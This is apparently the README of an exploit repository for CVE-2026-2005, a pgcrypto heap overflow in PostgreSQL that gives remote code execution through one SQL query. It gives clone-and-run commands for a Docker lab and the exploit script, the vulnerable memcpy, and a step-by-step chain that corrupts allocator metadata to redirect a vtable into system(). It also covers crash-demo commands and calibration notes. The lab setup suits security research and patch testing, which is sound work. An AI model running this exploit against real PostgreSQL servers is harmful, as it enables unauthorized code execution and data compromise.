
Exploit for CVE-2026-2005, a heap overflow in PostgreSQL's pgcrypto extension leading to remote code execution. Includes PoC generators, Docker lab, and detailed technical writeup.
Remote code execution via a single SQL query targeting PostgreSQL's pgcrypto extension. The vulnerability is a heap buffer overflow in pgp_parse_pubenc_sesskey() that allows corruption of PostgreSQL's internal MemoryContext allocator metadata, achieving arbitrary code execution as the postgres user.
| CVE | CVE-2026-2005 |
| Component | contrib/pgcrypto/pgp-pubdec.c |
| CWE | CWE-122 (Heap-based buffer overflow) |
| CVSSv3.1 | 8.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) |
| Affected | PostgreSQL 14.0–14.20, 15.0–15.15, 16.0–16.11, 17.0–17.7, 18.0–18.1 |
| Fixed | 14.21, 15.16, 16.12, 17.8, 18.2 |
| Disclosed | 2026-02-12 |
| Fix commit | 379695d3cc70d040b547d912ce4842090d917ece |



git clone https://github.com/dinosn/cve-2026-2005.git
cd cve-2026-2005/lab
docker compose up -d pg-exploit
# Wait ~5s for postgres to initialize
python3 ../poc/exploit.py --run cve-2026-2005-pg-exploit

// contrib/pgcrypto/pgp-pubdec.c — pgp_parse_pubenc_sesskey()
ctx->cipher_algo = *msg;
ctx->sess_key_len = msglen - 3; // attacker-controlled
memcpy(ctx->sess_key, msg + 1, ctx->sess_key_len); // sess_key is uint8[32]
ctx->sess_key is a fixed 32-byte buffer embedded in a heap-allocated PGP_Context struct. A crafted PGP message with an oversized RSA-encrypted session key drives sess_key_len up to ~200 bytes, overflowing into adjacent heap allocations. The fix adds a sess_key_len > PGP_MAX_KEY bounds check.
sess_key[32] writes fake allocator metadata into the adjacent MBuf allocationMBuf->data = NULL so explicit_bzero is skipped during cleanuphdrmask decodes to blockoffset=64, redirecting the block pointer to attacker-controlled dataAllocSetFree writes the chunk address to MC+16 (the MemoryContext->methods field), replacing the vtable pointerMemoryContextDelete(MC) calls methods->delete_context(MC) through our fake vtable → system(MC)system() reads the MemoryContext struct as a string: NodeTag 0x1D5 = "\xd5\x01\x00\x00" → executes /usr/local/bin/\xd5\x01pgcrypto extension installed (CREATE EXTENSION pgcrypto)/usr/local/bin/\xd5\x01 (included in Dockerfile.exploit)├── README.md
├── poc/
│ ├── exploit.py # Self-contained exploit generator + runner
│ ├── gen_exploit_v7.py # Annotated payload builder
│ ├── gen_payload.py # Crash-only PoC generator (all overflow sizes)
│ ├── poc_big.sql # Pre-generated crash PoC (SIGSEGV)
│ └── poc_minimal.sql # Minimal 4-byte overflow PoC
├── lab/
│ ├── docker-compose.yml # Full lab: vuln, patched, debug, exploit
│ ├── Dockerfile.exploit # Release build + trigger script (RCE target)
│ ├── Dockerfile.vuln # Stock vulnerable build (crash demo)
│ ├── Dockerfile.debug # Cassert build (assertion demo)
│ ├── init.sql # Database initialization
│ └── setup.sh # Lab setup helper
├── reports/
│ ├── RCE-CHAIN.md # Detailed technical exploitation writeup
│ ├── REPORT.md # Vulnerability analysis report
│ └── TODO-FOR-RCE.md # Development log (completed)
├── screenshots/
│ ├── 01-target-verification.png
│ ├── 02-exploit-fire.png
│ ├── 03-rce-proof.png
│ └── 04-full-run.png
└── src/ # Relevant source snippets
| Container | Port | Purpose |
|---|---|---|
pg-exploit | 5436 | RCE target (stock 17.7 + trigger script) |
pg-vuln | 5433 | Crash demo (stock 17.7, SIGSEGV) |
pg-fixed | 5434 | Patched build (17.8, rejects payload) |
pg-debug | 5435 | Debug build (cassert SIGABRT with source attribution) |
# Start all containers
cd lab && docker compose up -d
# Crash demo (SIGSEGV on stock build)
docker exec cve-2026-2005-pg-vuln psql -U postgres -d lab -f /tmp/poc_big.sql
docker logs cve-2026-2005-pg-vuln 2>&1 | grep "signal 11"
# Patched build (rejects gracefully)
docker exec cve-2026-2005-pg-fixed psql -U postgres -d lab -f /tmp/poc_big.sql
# ERROR: Public key too big
# Debug build (assertion with file:line)
docker exec cve-2026-2005-pg-debug psql -U postgres -d lab -f /tmp/poc_big.sql
docker logs cve-2026-2005-pg-debug 2>&1 | grep "TRAP"
postgres:17.7-bookworm Docker image. Different builds/environments require address recalibration (via GDB or info-leak).SELECT digest('x','md5')) in the same connection stabilizes heap layout before the exploit query.\xd5\x01 in PATH. The Dockerfile pre-installs this. Real-world exploitation would require prior write access or a different ROP/one-gadget approach.--enable-cassert abort on assertion before the freelist write.379695d)This exploit is provided for authorized security research and educational purposes only. Use only in controlled lab environments with explicit authorization.